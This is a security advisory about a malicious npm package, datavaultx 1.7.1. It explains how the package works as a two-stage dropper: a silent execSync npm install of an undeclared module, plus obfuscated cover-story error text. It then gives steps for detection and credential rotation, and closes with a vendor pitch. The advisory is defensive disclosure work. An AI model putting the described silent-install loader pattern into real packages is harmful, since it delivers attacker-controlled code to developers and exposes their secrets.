datavaultxnpm
Advisory published Updated
datavaultx is a confirmed malicious npm package (MAL-2026-10460) that executes malicious code on install (malicious version 1.7.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in datavaultx (npm)
What this malware does
On require of the package's main entry (auth.js -> lib/writer.js), the module attempts require('auth-gen-next'); on failure it invokes execSync('npm install auth-gen-next --no-warnings --no-save --no-progress --loglevel silent') and then requires the freshly installed module from../../auth-gen-next/index.js. The fetched package is not declared in this package's dependencies, so its contents are entirely attacker-controlled and can change at any time without a datavaultx release. lib/writer.js additionally constructs a cover-story error string ('Error: This environment is not supported...') via a long chain of String.fromCharCode calls, shown only if the silent install fails. The suppressed logging, undeclared dependency, and character-code obfuscation of the failure message together indicate a two-stage dropper design in which the visible package is a thin shim that pulls its real payload from a separately-published module at load time.

Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for datavaultx (version 1.7.1).
If you installed it — respond
Remove datavaultx from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If datavaultx was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks datavaultx-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
